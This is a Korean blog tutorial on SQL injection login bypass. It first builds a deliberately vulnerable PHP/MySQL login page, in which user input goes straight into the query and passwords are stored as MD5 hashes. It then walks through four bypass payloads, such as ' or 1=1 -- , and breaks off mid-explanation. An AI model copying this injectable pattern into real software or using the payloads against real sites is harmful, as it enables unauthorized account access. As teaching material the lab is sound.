Oh! JUN

인증 우회 공격 실습 본문

웹 해킹/SQL Injection

인증 우회 공격 실습

Kwon Oh! JUN 2022. 8. 8. 19:20

※ 실습하기 전 로그인 사이트 제작

//login.php

<?
    @session_start();
    header("Content-Type: text/html; charset=UTF-8;");
?>
<h3>로그인 페이지</h3>
<form action='loginAction.php' method="POST">
<li>ID : <input type="text" name="id"></li>
<li>PW : <input type="password" name="pw"></li>
<input type="submit" value="login">
</form>​
//logout.php

<?
    @session_start();
    unset($_SESSION["id"]);
    session_destroy();
    
    echo "<script>location.href='login.php'</script>"
?>
//index.php
<?
    @session_start();
    header("Content-Type: text/html; charset=UTF-8;");

    if(empty($_SESSION["id"])){
        echo "<script>alert('로그인 후 접근이 가능합니다.');location.href='login.php';</script>";
        exit();
    }
?>

<h3>회원 전용 페이지 입니다.</h3>
<p><?=$_SESSION["id"]?>님 반갑습니다.</p>
<input type="button" onclick="location.href='logout.php'" value="logout">
//loginAction.php

<?
    @session_start();
    header("Content-Type: text/html; charset=UTF-8;");

    $db_conn = new mysqli("localhost", "root", "/*mysql 비밀번호*/", "login_example");

    $id = $_POST["id"];
    $pw = md5($_POST["pw"]);

    $query = "select * from member where id='{$id}' and pw='{$pw}'";
    $tmp = $db_conn->query($query);
    $cnt = $tmp->num_rows;
    $user = $tmp->fetch_assoc();

    if($cnt == 0){
        echo "<script>alert('아이디 혹은 패스워드가 잘못되었습니다.');history.back(-1)</script>";
        exit();
    }

    $_SESSION["id"] = $user["id"];

    echo "<script>location.href='index.php';</script>"
?>
명령 프롬프트 cmd
mysql -u root -p
create database login_example;
use login_example;
create table member(id varchar(20), pw varchar(60));
insert into member values('admin', md5('admin123'));
insert into member values('guest', md5('guest'));

select * from member;

+--------+---------------------------------+
| id       | pw                                 |
+--------+---------------------------------+
| admin | ************************** |
| guest  | ************************** |
+--------+---------------------------------+

index.php
login.php

 


※ 실습

1. 계정 ID를 알고,  In-line-Query

2. 계정 ID를 알고, Terminating-Query

3. 계정 ID를 모르고, In-line-Query

4. 계정 ID를 모르고, Terminating-Query

 

원본 쿼리: select * from member where id='{$id}' and pw='{$pw}'

 

예시1(id, in-line)

id='admin' or '' and pw =''

'' and pw ='' 거짓 and 거짓 = 거짓
id='admin' or ('' and pw ='')  or 거짓 =

 

 

예시2(id, terminating)
id='admin' -- ' and pw=''

* id='admin'[공백]--[공백]' and pw=''

-- 주석 사이에 공백이 있어야된다.


예시3(id x, in-line)

'1'='1' and pw='' and 거짓 = 거짓
1=1 or ('1'='1' and pw='') or 거짓 =
id='' or (1=1 or '1'='1' and pw='') 거짓 or =


예시4(id x, terminating)
id='' or 1=1 -- ' and pw=''

예시2와 마찬가지로 공백!


#주의할 점?

예시3, 4와 같이 계정 ID를 모를경우에 조회했을 때 왜 admin이 출력될까?

+--------+---------------------------------+
| id       | pw                                 |
+--------+---------------------------------+
| admin | ************************** |
| guest  | ************************** |
+--------+---------------------------------+

 

admin이 첫번째 행에 있어서 ~